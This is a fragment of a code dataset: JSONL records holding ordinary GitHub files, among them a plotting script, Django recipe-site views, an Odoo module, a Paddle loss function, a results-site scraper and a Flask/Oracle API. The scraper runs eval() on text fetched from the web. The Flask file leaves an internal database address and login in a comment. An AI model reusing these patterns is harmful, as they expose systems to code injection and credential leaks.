np.log10(x_j)\n\n    if yLog10:\n        ax_lims = np.log10(ax_lims)\n        ylabel = \"log10 \" + ylabel\n        y_g = np.log10(y_g)\n        y_j = np.log10(y_j)\n    #ax.plot(x,y, label=\"{} threads\".format(threads))\n    ax.plot(x_g,y_g, label=\"Graham Scan\")\n    ax.plot(x_j,y_j, label=\"Gift Wrap\")\n\n    ax.set_title(title)\n    ax.set_xlabel(xlabel)\n    ax.set_ylabel(ylabel)\n    ax.legend()\n\n    ax.set_ylim(*ax_lims)\n\n    ax.grid(b=True)\n    plt.show()\n    #ax.savefig('myfile.png', bbox_inches=\"tight\")\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--log10\", help=\"Shows axes in logarithmic (base 2) scale for both X and Y\",\n                        action=\"store_true\")\n    parser.add_argument(\"--xlog10\", help=\"Shows axes in logarithmic (base 2) scale for X axis\",\n                        action=\"store_true\")\n    parser.add_argument(\"--ylog10\", help=\"Shows axes in logarithmic (base 2) scale for Y axis\",\n                        action=\"store_true\")\n    parser.add_argument(\"--chInc\", help=\"Plots results for performance of convex hull algorithms over increasing \"\n                                        \"amount of points in dataset.\",\n                        action=\"store_true\")\n    parser.add_argument(\"--chVert\", help=\"Plots results for performance of convex hull algorithms over increasing \"\n                                         \"amount of vertices in convex hull.\",\n                        action=\"store_true\")\n    args = parser.parse_args()\n\n    ch_inds = []\n    if args.chInc:\n        ch_inds.append(0)\n    if args.chVert:\n        ch_inds.append(1)\n    if not ch_inds:\n        print(\"Please, enter a valid argument. You can also stack various plots.\", file=sys.stderr)\n        parser.print_help(sys.stderr)\n        sys.exit(1)\n\n    xlog = args.log10 or args.xlog10\n    ylog = args.log10 or args.ylog10\n\n    funs = [plot_ch_increasing_points, plot_ch_increasing_vertices ]\n\n    for ind in ch_inds:\n        funs[ind](xLog10=xlog, yLog10=ylog)\n","repo_name":"malva28/cerradura-convexa","sub_path":"test/timePerformance/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":6961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74448030161","text":"from django.urls import path\n\nfrom . import views\n\napp_name = \"reviews\"\n\nurlpatterns = [\n    path(\"<int:order_pk>/create\", views.review_create, name=\"create\"),  # 리뷰 생성\n    path(\"<int:pk>/update\", views.ReviewUpdate.as_view(), name=\"update\"),  # 리뷰 수정\n    path(\"<int:pk>/delete\", views.DeleteReviewView.as_view(), name=\"delete\"),  # 리뷰 삭제\n    path(\"my_review\", views.my_review_view, name=\"my_review\"),  # 내가 작성한 리뷰 보기\n]\n","repo_name":"soyeonnnb/db21-minishop","sub_path":"minishop/reviews/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74566065042","text":"import requests\nimport re\nfrom bs4 import BeautifulSoup as bs\n\n# it request form from results.rvce.edu.in\n# return 0 if page failed to load\n# otherwise return \"captcha_str. captcha_value, PHPSESSID\"\ndef requestForm():\n    s =requests.session()\n\n    try:\n        page =  s.get(\"http://results.rvce.edu.in/\")\n    except Exception as e:\n        print(e)\n\n\n    # print(\"url status :\", page)\n\n    if(page.status_code!=200):\n        print(\"HTML form load failed, ERROR \",page.status_code)\n        return 0\n\n\n    PHPSESSID =  page.cookies['PHPSESSID']\n    # print(\"PHP ID\",PHPSESSID)\n\n    soup = bs(page.content,'html.parser')\n    captcha = soup.find_all(\"label\")[1].get_text()\n\n    captcha_str = re.match(r'What is (. \\+ .) ?',captcha)\n    captcha_str = captcha_str.group(1)\n    #print(\"captcha is :\"+captcha_str)\n    captcha_value = eval(captcha_str)\n    #print(\"returning :\"+ str(captcha_value))\n\n    return {\"captcha_str\":captcha_str,\"captcha_value\":captcha_value,\"PHPSESSID\":PHPSESSID}\n\n# submit form data through POST with required data{USN,captcha_value,PHPSESSID} and return HTML recieved\ndef submitForm(USN,captcha_value,PHPSESSID):\n\n    payload = {'usn': USN, 'captcha': captcha_value}\n    cookie = {'PHPSESSID': PHPSESSID}\n\n    try:\n        post = requests.post(\"http://results.rvce.edu.in/viewresult2.php\",data = payload, cookies=cookie)\n    except Exception as e:\n        print(e)\n\n    # print(\"url status :\", post)\n    #print(post.content)\n    return post\n","repo_name":"Gr8ayu/RVCE-results-scraping","sub_path":"sendData.py","file_name":"sendData.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37141470786","text":"from odoo import api, fields, models, _\nfrom odoo.exceptions import ValidationError\n\n\nclass AccountMoveLine(models.Model):\n    _inherit =  \"account.move.line\"\n\n    @api.depends('product_id', 'account_id', 'partner_id', 'date')\n    def _compute_analytic_account(self):\n            for record in self:\n                if not record.exclude_from_invoice_tab or not record.move_id.is_invoice(include_receipts=True):\n                    rec = self.env['account.analytic.default'].account_get(\n                        product_id=record.product_id.id,\n                        partner_id=record.partner_id.commercial_partner_id.id or record.move_id.partner_id.commercial_partner_id.id,\n                        account_id=record.account_id.id,\n                        user_id=record.move_id.invoice_user_id.id or record.env.uid,\n                        date=record.date,\n                        company_id=record.move_id.company_id.id\n                    )\n                    if rec:\n                        record.analytic_account_id = rec.analytic_id\n                        record.analytic_tag_ids = rec.analytic_tag_ids\n\n\nclass AccountAnalyticDefault(models.Model):\n    _inherit  = \"account.analytic.default\"\n\n    product_categ_id = fields.Many2one('product.category', string='Product Category', ondelete='cascade', help=\"Select product category to consider all the productos that belongs to this category in analytic default.\") \n\n    @api.model\n    def account_get(self, product_id=None, partner_id=None, account_id=None, user_id=None, date=None, company_id=None):\n        domain = []\n        categ = False\n        if product_id:\n            product_model = self.env['product.product']\n            product_object = product_model.browse(product_id)\n            categ=product_object.categ_id\n            domain += ['|', ('product_categ_id', '=', categ.id)]\n        domain += [('product_categ_id','=', False)]\n        if product_id:\n            domain += ['|', ('product_id', '=', product_id)]\n        domain += [('product_id', '=', False)]\n        if partner_id:\n            domain += ['|', ('partner_id', '=', partner_id)]\n        domain += [('partner_id', '=', False)]\n        if account_id:\n            domain += ['|', ('account_id', '=', account_id)]\n        domain += [('account_id', '=', False)]\n        if company_id:\n            domain += ['|', ('company_id', '=', company_id)]\n        domain += [('company_id', '=', False)]\n        if user_id:\n            domain += ['|', ('user_id', '=', user_id)]\n        domain += [('user_id', '=', False)]\n        if date:\n            domain += ['|', ('date_start', '<=', date), ('date_start', '=', False)]\n            domain += ['|', ('date_stop', '>=', date), ('date_stop', '=', False)]\n        best_index = -1\n        res = self.env['account.analytic.default']\n        for rec in self.search(domain):\n            index = 0\n            if categ and rec.product_id:\n                if rec.product_id.categ_id == categ:\n                    index +=1\n            if rec.product_id: index += 1\n            if rec.partner_id: index += 1\n            if rec.account_id: index += 1\n            if rec.company_id: index += 1\n            if rec.user_id: index += 1\n            if rec.date_start: index += 1\n            if rec.date_stop: index += 1\n            if index > best_index:\n                res = rec\n                best_index = index\n        return res\n\n\n","repo_name":"DavidPerezPC/pcsystems","sub_path":"addons/analtyc_default_by_product_category/models/account_analytic_default.py","file_name":"account_analytic_default.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23448206095","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport paddle\nfrom .comfunc import rerange_index\n\n\nclass TriHardLoss(paddle.nn.Layer):\n    \"\"\"\n    paper: In Defense of the Triplet Loss for Person Re-Identification\n    code reference: https://github.com/VisualComputingInstitute/triplet-reid/blob/master/loss.py\n    TriHard Loss, based on triplet loss. USE P * K samples.\n    the batch size is fixed. Batch_size = P * K;  but the K may vary between batches.\n    same label gather together\n\n            supported_metrics = [\n            'euclidean',\n            'sqeuclidean',\n            'cityblock',\n        ]\n    only consider samples_each_class = 2\n    \"\"\"\n\n    def __init__(self, batch_size=120, samples_each_class=2, margin=0.1):\n        super(TriHardLoss, self).__init__()\n        self.margin = margin\n        self.samples_each_class = samples_each_class\n        self.batch_size = batch_size\n        self.rerange_index = rerange_index(batch_size, samples_each_class)\n\n    def forward(self, input, target=None):\n        features = input[\"features\"]\n        assert (self.batch_size == features.shape[0])\n\n        #normalization\n        features = self._nomalize(features)\n        samples_each_class = self.samples_each_class\n        rerange_index = paddle.to_tensor(self.rerange_index)\n\n        #calc sm\n        diffs = paddle.unsqueeze(\n            features, axis=1) - paddle.unsqueeze(\n                features, axis=0)\n        similary_matrix = paddle.sum(paddle.square(diffs), axis=-1)\n\n        #rerange\n        tmp = paddle.reshape(similary_matrix, shape=[-1, 1])\n        tmp = paddle.gather(tmp, index=rerange_index)\n        similary_matrix = paddle.reshape(tmp, shape=[-1, self.batch_size])\n\n        #split\n        ignore, pos, neg = paddle.split(\n            similary_matrix,\n            num_or_sections=[1, samples_each_class - 1, -1],\n            axis=1)\n\n        ignore.stop_gradient = True\n        hard_pos = paddle.max(pos, axis=1)\n        hard_neg = paddle.min(neg, axis=1)\n\n        loss = hard_pos + self.margin - hard_neg\n        loss = paddle.nn.ReLU()(loss)\n        loss = paddle.mean(loss)\n        return {\"trihardloss\": loss}\n\n    def _nomalize(self, input):\n        input_norm = paddle.sqrt(\n            paddle.sum(paddle.square(input), axis=1, keepdim=True))\n        return paddle.divide(input, input_norm)\n","repo_name":"PaddlePaddle/PaddleClas","sub_path":"ppcls/loss/trihardloss.py","file_name":"trihardloss.py","file_ext":"py","file_size_in_byte":2394,"program_lang":"python","lang":"en","doc_type":"code","stars":5081,"dataset":"github-code","pt":"3"}
+{"seq_id":"36713386882","text":"import numpy as np\nimport logging\n\nfrom scipy.optimize import minimize\n\nfrom .spotless import Spotless\nfrom .model import Model\nfrom .source import PointSource\n\nlogger = logging.getLogger(__name__)\n# Add other handlers if you're using this as a library\nlogger.addHandler(logging.NullHandler())\nlogger.setLevel(logging.INFO)\n\nclass MultiSpotless(Spotless):\n\n    def __init__(self, disko, sphere):\n        super(MultiSpotless, self).__init__(disko, sphere)\n\n    def step(self):\n        '''\n            Return a list of residual visibilities and a source location\n            so that the sum of the residual and the source visibilities\n            is conserved.\n        '''\n        d_el = self.disko.get_beam_width().radians()/2\n\n        m_vis = self.model.model_vis(self.disko.u_arr,\n                                     self.disko.v_arr, self.disko.w_arr)\n\n        a_0, el_0, az_0, p0 = self.estimate_initial_point_source(\n            self.vis_arr - m_vis)\n\n        model_vect = self.model.to_vector()\n        x0 = np.append(model_vect, [0.1, el_0, az_0])\n\n        # Get the bounds of the existing points. Each dimension is constrained appropriately\n        bounds = []\n        for src in self.model:\n            for b in src.get_bounds(d_el):\n                bounds.append(b)\n\n        src = PointSource(0.1, el_0, az_0)\n        for b in src.get_bounds(d_el):\n            bounds.append(b)\n\n        # fmin = minimize(self.f_n, x0.flatten(),\n        #                 method='L-BFGS-B', bounds=bounds)\n        fmin = minimize(self.f_n, x0.flatten(),\n                        method='Nelder-mead', bounds=bounds)\n        residual_power = fmin.fun\n\n        self.model = Model.from_vector(fmin.x)\n\n        self.residual_vis = self.vis_arr - \\\n            self.model.model_vis(self.disko.u_arr, self.disko.v_arr, self.disko.w_arr)\n\n        return self.model, residual_power, p0\n\n    def f_n(self, x):\n        '''\n            Find the power in the residual\n        '''\n        mod = Model.from_vector(x)\n        m_vis = mod.model_vis(self.disko.u_arr,\n                              self.disko.v_arr,\n                              self.disko.w_arr)\n        return self.power(self.vis_arr - m_vis)\n","repo_name":"tmolteno/spotless","sub_path":"spotless/multi_spotless.py","file_name":"multi_spotless.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24291876266","text":"import requests\nimport json\nfrom bs4 import BeautifulSoup\nfrom pathlib import Path\nfrom bg_replacements import purport_replacements\n\ndef parser(soup):\n    b_tags = soup.find_all(\"b\")\n    # print(b_tags)\n\n    # Preparing Purport Entry\n    purport = str(soup.find_all(\"div\", {\"class\": \"purport\"}))\n\n    if purport:\n        purport = purport_replacements(purport)\n        purport = list(filter(None, list(purport.split('---'))))\n        popped = purport.pop()\n    \n        purport_entry = []\n\n        for para in purport:\n            para_dictionary = {}\n\n            if para[1:9]=='verse>>>':\n                para_dictionary[\"verse\"]=para[9:]\n            else:\n                para_dictionary[\"text\"]=para\n            \n            purport_entry.append(para_dictionary)\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# Driver Code for parser\nchapters = 4\ntotal = 1\n\nfor chapter in range(chapters, chapters+1):\n    for _index in range(total,total+1):\n        url = f'https://vanisource.org/wiki/BG_{chapter}.{_index}_(1972)'\n\n        _source = requests.get(url)\n        soup = BeautifulSoup(_source.content, 'html.parser')\n\n        parser(soup)","repo_name":"sasinmorningstar/vaniDB","sub_path":"parser/BG_parser.py","file_name":"BG_parser.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36402861516","text":"from conary.build import policy, use\nfrom conary.deps import deps\n\nclass RemoveBootstrapTroveDependencies(policy.PackagePolicy):\n    filetree = policy.PACKAGE\n    # must run after all policies that might add a trove: dependency\n    requires = (\n        ('Requires', policy.REQUIRED_PRIOR),\n        ('Provides', policy.REQUIRED_PRIOR),\n        ('ComponentProvides', policy.REQUIRED_PRIOR),\n        ('EggRequires', policy.CONDITIONAL_PRIOR),\n        ('PHPRequires', policy.CONDITIONAL_PRIOR),\n        ('PkgConfigRequires', policy.CONDITIONAL_PRIOR),\n        ('SymlinkTargetRequires', policy.CONDITIONAL_PRIOR),\n        ('XinetdConfigRequires', policy.CONDITIONAL_PRIOR),\n    )\n\n    def test(self):\n        # This policy is invoked only in the bootstrap case, but should\n        # only set the \"bootstrap\" flavor if it actually makes a change.\n        # flag._get() gets value without causing access to be tracked.\n        return use.Use.bootstrap._get()\n\n    def do(self):\n        components = self.recipe.autopkg.getComponents()\n        componentNames = set(x.getName() for x in components)\n        for cmp in components:\n            removed = False\n            depSet = deps.DependencySet()\n            for depClass, dep in cmp.requires.iterDeps():\n                depName = depClass.tagName\n                if depName == 'trove' and str(dep) not in componentNames:\n                    self.info(\"removing 'trove: %s' for bootstrap flavor\", dep)\n                    removed = True\n                    # record bootstrap flavor\n                    if use.Use.bootstrap:\n                        pass\n                else:\n                    depSet.addDep(depClass, dep)\n            if removed:\n                cmp.requires = depSet\n","repo_name":"sassoftware/conary-policy","sub_path":"policy/bootstraptrovedeps.py","file_name":"bootstraptrovedeps.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"31554494280","text":"with open(\"rosalind_fibo.txt\") as f:\r\n    n = int(f.readline())\r\n\r\n\r\ndef fibo(n):\r\n    x = 0\r\n    prev2 = 0\r\n    prev1 = 1\r\n    for i in range(n):\r\n        prev2 = prev1\r\n        prev1 = x\r\n        x = prev1 + prev2\r\n    return x\r\n\r\n\r\nprint(fibo(n))\r\n\r\n","repo_name":"CamilloColle/PCS2-Homework-3","sub_path":"Fibo.py","file_name":"Fibo.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18739880354","text":"import os\nimport configparser\nfrom flask import Flask, request, jsonify\nimport cx_Oracle\n\napp = Flask(__name__)\n\nConfigPath=os.getcwd() + \"\\\\config.ini\" \nprint('PATH : ' , ConfigPath)\n\nconfig = configparser.ConfigParser()\n# config.read('config.ini')\nconfig.read(ConfigPath)\n\n# config.read('config.ini')\n\n# Oracle database connection settings\n# dsn = cx_Oracle.makedsn(\"10.249.2.21\", 1523, service_name=\"SFCSD\")\n# conn = cx_Oracle.connect(user=\"CIMSFC\", password=\"CIMSFC\", dsn=dsn)\n\nSFCS_Conn=config['DbConnection']['sfcsOraConnStr_QAS']\nconn = cx_Oracle.connect(SFCS_Conn)\n\n# API endpoints\n@app.route('/', methods=['GET'])\ndef index():\n    return \"Welcome to JTB Info API\"\n\n@app.route('/api/jtb_info', methods=['GET'])\ndef get_jtb_info():\n    cursor = conn.cursor()\n    query = \"SELECT * FROM jtb_info\"\n    cursor.execute(query)\n    rows = cursor.fetchall()\n    data = []\n    for row in rows:\n        data.append({\n            \"id\": row[0],\n            \"name\": row[1],\n            \"age\": row[2]\n        })\n    return jsonify(data)\n\n@app.route('/api/jtb_info', methods=['POST'])\ndef add_jtb_info():\n    data = request.json\n    cursor = conn.cursor()\n    query = \"INSERT INTO jtb_info (name, age) VALUES (:name, :age)\"\n    cursor.execute(query, {\"name\": data[\"name\"], \"age\": data[\"age\"]})\n    conn.commit()\n    return jsonify({\"message\": \"JTB info added successfully.\"})\n\n@app.route('/api/jtb_info/<int:id>', methods=['PUT'])\ndef update_jtb_info(id):\n    data = request.json\n    cursor = conn.cursor()\n    query = \"UPDATE jtb_info SET name = :name, age = :age WHERE id = :id\"\n    cursor.execute(query, {\"name\": data[\"name\"], \"age\": data[\"age\"], \"id\": id})\n    conn.commit()\n    return jsonify({\"message\": \"JTB info updated successfully.\"})\n\n@app.route('/api/jtb_info/<int:id>', methods=['DELETE'])\ndef delete_jtb_info(id):\n    cursor = conn.cursor()\n    query = \"DELETE FROM jtb_info WHERE id = :id\"\n    cursor.execute(query, {\"id\": id})\n    conn.commit()\n    return jsonify({\"message\": \"JTB info deleted successfully.\"})\n\nif __name__ == '__main__':\n    app.run(debug=True)\n","repo_name":"jony371400/DynamicTable","sub_path":"API/oracle.py","file_name":"oracle.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1751438124","text":"from states.BaseState import BaseState\nimport pygame, os\n\nclass End(BaseState):\n    def __init__(self, game):\n        # run init function in base state\n        BaseState.__init__(self, game)\n\n        # font\n        self.font = pygame.font.Font(os.path.join(self.game.font_dir, \"Starjedi.ttf\"), 80)\n\n    # what we render to the screen\n    def render(self, display):\n        # fill screen with white\n        display.fill((255, 255, 255))\n\n        # draw title\n        self.game.draw_text(display, self.game.team + \" : \" + str(self.game.total) + \"/\" + str(len(self.game.questions)), (255,0,255), self.game.GAME_WIDTH/2, self.game.GAME_HEIGHT/3, self.font)\n\n        self.game.draw_text(display, \"Press Escape\", (0,0,0), self.game.GAME_WIDTH/2, self.game.GAME_HEIGHT/2, self.font);\n","repo_name":"abbottmh19/Quiz-ProgrammingAssessment","sub_path":"states/EndState.py","file_name":"EndState.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39179530462","text":"import json\nfrom .FieldKind  import FieldKind\nfrom .DataMapping import DataMapping\n\n\nclass FieldMapping(object):\n\n    def __init__(\n        self,\n        id=None,\n        label=None,\n        fieldKind=None,\n        fieldSetIndex=None,\n        fieldIndex=None,\n        dataMappings=None\n    ):\n        \"\"\"\n\n        :param id: not required\n        :param label: not required\n        :param fieldKind: not required\n        :param fieldSetIndex: not required\n        :param fieldIndex: not required\n        :param dataMappings: not required\n        \"\"\"\n        self.__id = id\n        self.__label= label\n        if fieldKind:\n            self.__fieldKind = fieldKind\n        else:\n            self.__fieldKind = FieldKind.IndexField\n        self.__fieldSetIndex = fieldSetIndex\n        self.__fieldIndex = fieldIndex\n        self.__dataMappings = dataMappings\n\n    @property\n    def Id(self):\n        \"\"\"\n        Get the id  required\n        :return:\n        \"\"\"\n        return self.__id\n\n    @Id.setter\n    def Id(self, id):\n        \"\"\"\n        Set the id  required\n        :param id:\n        :return:\n        \"\"\"\n        self.__id = id\n\n    @property\n    def Label(self):\n        \"\"\"\n        Get the label  required\n        :return:\n        \"\"\"\n        return self.__label\n\n    @Label.setter\n    def Label(self, label):\n        \"\"\"\n        Set the label  required\n        :param label:\n        :return:\n        \"\"\"\n        self.__label = label\n\n    @property\n    def FieldKind(self):\n        \"\"\"\n        Get the fieldKind  required\n        :return:\n        \"\"\"\n        return self.__fieldKind\n\n    @FieldKind.setter\n    def FieldKind(self, fieldKind):\n        \"\"\"\n        Set the fieldKind  required\n        :param fieldKind:\n        :return:\n        \"\"\"\n        self.__fieldKind = fieldKind\n\n    @property\n    def FieldSetIndex(self):\n        \"\"\"\n        Get the fieldSetIndex  required\n        :return:\n        \"\"\"\n        return self.__fieldSetIndex\n\n    @FieldSetIndex.setter\n    def FieldSetIndex(self, fieldSetIndex):\n        \"\"\"\n        Set the fieldSetIndex  required\n        :param fieldSetIndex:\n        :return:\n        \"\"\"\n        self.__fieldSetIndex = fieldSetIndex\n\n    @property\n    def FieldIndex(self):\n        \"\"\"\n        Get the fieldIndex  required\n        :return:\n        \"\"\"\n        return self.__fieldIndex\n\n    @FieldIndex.setter\n    def FieldIndex(self, fieldIndex):\n        \"\"\"\n        Set the fieldIndex  required\n        :param fieldIndex:\n        :return:\n        \"\"\"\n        self.__fieldIndex = fieldIndex\n\n    @property\n    def DataMappings(self):\n        \"\"\"\n        Get the dataMappings  required\n        :return:\n        \"\"\"\n        return self.__dataMappings\n\n    @DataMappings.setter\n    def DataMappings(self, dataMappings):\n        \"\"\"\n        Set the dataMappings  required\n        :param dataMappings:\n        :return:\n        \"\"\"\n        self.__dataMappings = dataMappings\n\n    def toJson(self):\n        return json.dumps(self.toDictionary())\n\n    def toDictionary(self):\n        # required properties\n        dictionary = {}\n\n        # optional properties\n        if hasattr(self, 'Id'):\n            dictionary['Id'] = self.Id\n\n        if hasattr(self, 'Label'):\n            dictionary['Label'] = self.Label\n\n        if hasattr(self, 'FieldKind'):\n            dictionary['FieldKind'] = self.FieldKind.name\n\n        if hasattr(self, 'FieldSetIndex'):\n            dictionary['FieldSetIndex'] = self.FieldSetIndex\n\n        if hasattr(self, 'FieldIndex'):\n            dictionary['FieldIndex'] = self.FieldIndex\n\n        if hasattr(self, \"DataMappings\"):\n            dictionary[\"DataMappings\"] = []\n            for value in self.DataMappings:\n                dictionary[\"DataMappings\"].append(value.toDictionary())\n\n        return dictionary\n\n    @staticmethod\n    def fromJson(jsonObj):\n        return FieldMapping.fromDictionary(jsonObj)\n\n    @staticmethod\n    def fromDictionary(content):\n        fieldMapping = FieldMapping()\n\n        if not content:\n            return fieldMapping\n\n        if 'Id' in content:\n            fieldMapping.Id = content['Id']\n\n        if 'Label' in content:\n            fieldMapping.Label = content['Label']\n\n        if 'FieldKind' in content:\n            fieldMapping.FieldKind = FieldKind[content['FieldKind']] \n\n        if 'FieldSetIndex' in content:\n            fieldMapping.FieldSetIndex = content['FieldSetIndex']\n\n        if 'FieldIndex' in content:\n            fieldMapping.FieldIndex = content['FieldIndex']\n\n        if \"DataMapping\" in content:\n            DataMapping_ = content[\"DataMapping\"]\n            if DataMapping_ is not None and len(DataMapping_) > 0:\n                fieldMapping.DataFields = []\n                for value in DataMapping_:\n                    fieldMapping.DataFields.append(\n                        DataMapping.fromDictionary(value))\n\n        return fieldMapping\n","repo_name":"AlexanderBocharov/OSI-Samples-OCS","sub_path":"library_samples/Python3/ocs_sample_library_preview/DataView/FieldMapping.py","file_name":"FieldMapping.py","file_ext":"py","file_size_in_byte":4871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"17507090924","text":"from django.db.models import Sum\nfrom django.shortcuts import get_object_or_404\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom djoser.views import UserViewSet\nfrom rest_framework import status, viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import (AllowAny, IsAuthenticated,\n                                        IsAuthenticatedOrReadOnly)\nfrom rest_framework.response import Response\n\nfrom api.filters import IngredientFilter, RecipeFilter\nfrom api.permissions import IsOwnerOrReadOnly\nfrom api.serializers import (CreateRecipeSerializer, FavouriteSerializer,\n                             FollowSerializer, IngredientSerializer,\n                             RecipeSerializer, TagSerializer, UsersSerializer)\nfrom api.utils import create_shopping_list\nfrom recipes.models import (Favourites, Ingredient, IngredientInRecipe, Recipe,\n                            ShoppingList, Tag)\nfrom users.models import Follow, User\n\n\nclass UsersViewSet(UserViewSet):\n    queryset = User.objects.all()\n    serializer_class = UsersSerializer\n    permission_classes = (AllowAny,)\n    extra_serializer = FollowSerializer\n\n    @action(detail=False,\n            permission_classes=(IsAuthenticated,))\n    def subscriptions(self, request):\n        user = request.user\n        authors = Follow.objects.filter(user=user)\n        pages = self.paginate_queryset(authors)\n        serializer = self.extra_serializer(\n            pages,\n            many=True,\n            context={'request': request}\n        )\n        return self.get_paginated_response(serializer.data)\n\n    @action(methods=['POST', 'DELETE'], detail=True)\n    def subscribe(self, request, **kwargs):\n        user = request.user\n        author = get_object_or_404(User, id=kwargs.get('id'))\n        if request.method == 'POST':\n            if user == author:\n                return Response({\n                    'errors': 'Нельзя подписаться на самого себя'},\n                    status=status.HTTP_404_BAD_REQUEST\n                )\n            if Follow.objects.filter(user=user, author=author).exists():\n                return Response(\n                    {'errors': 'Уже подписаны'},\n                    status=status.HTTP_400_BAD_REQUEST\n                )\n            follow = Follow.objects.create(user=user, author=author)\n            serializer = self.extra_serializer(\n                follow, context={'request': request}\n            )\n            return Response(serializer.data, status=status.HTTP_201_CREATED)\n        if request.method == 'DELETE':\n            follow = Follow.objects.filter(user=user, author=author)\n            if follow.exists():\n                follow.delete()\n                return Response(status=status.HTTP_204_NO_CONTENT)\n            return Response(\n                {'errors': 'Подписки не существует'},\n                status=status.HTTP_400_BAD_REQUEST\n            )\n\n\nclass TagsViewSet(viewsets.ReadOnlyModelViewSet):\n    queryset = Tag.objects.all()\n    serializer_class = TagSerializer\n    permission_classes = (AllowAny,)\n    pagination_class = None\n\n\nclass IngredientViewSet(viewsets.ReadOnlyModelViewSet):\n    queryset = Ingredient.objects.all()\n    serializer_class = IngredientSerializer\n    permission_classes = (AllowAny,)\n    filter_backends = (DjangoFilterBackend,)\n    filterset_class = IngredientFilter\n    pagination_class = None\n\n\nclass RecipeViewSet(viewsets.ModelViewSet):\n    queryset = Recipe.objects.all()\n    serializer_class = CreateRecipeSerializer\n    permission_classes = (IsAuthenticatedOrReadOnly, IsOwnerOrReadOnly)\n    extra_serializer = FavouriteSerializer\n    filter_backends = (DjangoFilterBackend,)\n    filterset_class = RecipeFilter\n\n    def get_serializer_class(self):\n        if self.request.method in ['POST', 'PUT', 'PATCH']:\n            return CreateRecipeSerializer\n        return RecipeSerializer\n\n    def perform_create(self, serializer):\n        serializer.save(author=self.request.user)\n\n    @action(detail=True, methods=['POST', 'DELETE'],\n            permission_classes=(IsOwnerOrReadOnly,))\n    def favorite(self, request, **kwargs):\n        if request.method == 'POST':\n            return self.add_recipe(Favourites, request, kwargs.get('pk'))\n        if request.method == 'DELETE':\n            return self.delete_recipe(Favourites, request, kwargs.get('pk'))\n\n    @action(detail=True, methods=['POST', 'DELETE'],\n            permission_classes=(IsAuthenticated,))\n    def shopping_cart(self, request, **kwargs):\n        if request.method == 'POST':\n            return self.add_recipe(ShoppingList, request, kwargs.get('pk'))\n        if request.method == 'DELETE':\n            return self.delete_recipe(ShoppingList, request, kwargs.get('pk'))\n\n    @action(\n        methods=['GET'],\n        detail=False,\n        permission_classes=(IsAuthenticated,)\n    )\n    def download_shopping_cart(self, request):\n        user = self.request.user\n        ingredients = list(IngredientInRecipe.objects.filter(\n            recipe__shopping_list__user=request.user\n        ).values_list(\n            'ingredient__name',\n            'ingredient__measurement_unit'\n        ).order_by('ingredient__name').annotate(\n            ingredient_sum=Sum('amount')\n        ))\n        return create_shopping_list(ingredients=ingredients, user=user)\n\n    def add_recipe(self, model, request, pk):\n        recipe = get_object_or_404(Recipe, id=pk)\n        if model.objects.filter(recipe=recipe, user=request.user).exists():\n            return Response(status=status.HTTP_400_BAD_REQUEST)\n        instance = model.objects.create(user=request.user, recipe=recipe)\n        serializer = FavouriteSerializer(\n            instance, context={'request': request}\n        )\n        return Response(data=serializer.data, status=status.HTTP_201_CREATED)\n\n    def delete_recipe(self, model, request, pk):\n        get_object_or_404(\n            model,\n            user=request.user,\n            recipe=get_object_or_404(Recipe, id=pk)).delete()\n        return Response(status=status.HTTP_204_NO_CONTENT)\n","repo_name":"TsekovDavid/foodgram-project-react","sub_path":"backend/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3618876563","text":"# 7월 14일\n\n# 영어 끝말잇기\n# https://programmers.co.kr/learn/courses/30/lessons/12981\n# Summer/Winter Coding (2018) lv 2\n\n# set (hash) 구조를 이용하여\n# 언급된 단어인지 검사\n\n# 시간 복잡도 O(N)\n\ndef solution(n, words):\n    spoken_word = set()\n    last_word = words[0][0]\n\n    for id, word in enumerate(words):\n\n        if word in spoken_word or last_word[-1] != word[0]:\n            return [id % n + 1, (id // n) + 1]\n\n        spoken_word.add(word)\n        last_word = word\n\n    return [0, 0]\n\n\nprint(solution(3, ['tank', 'kick', 'know', 'wheel', 'land', 'dream', 'mother', 'robot', 'tank']))","repo_name":"lee-gyu/happy_algorithm","sub_path":"20_07_July/0714_lee_programmers_12981.py","file_name":"0714_lee_programmers_12981.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
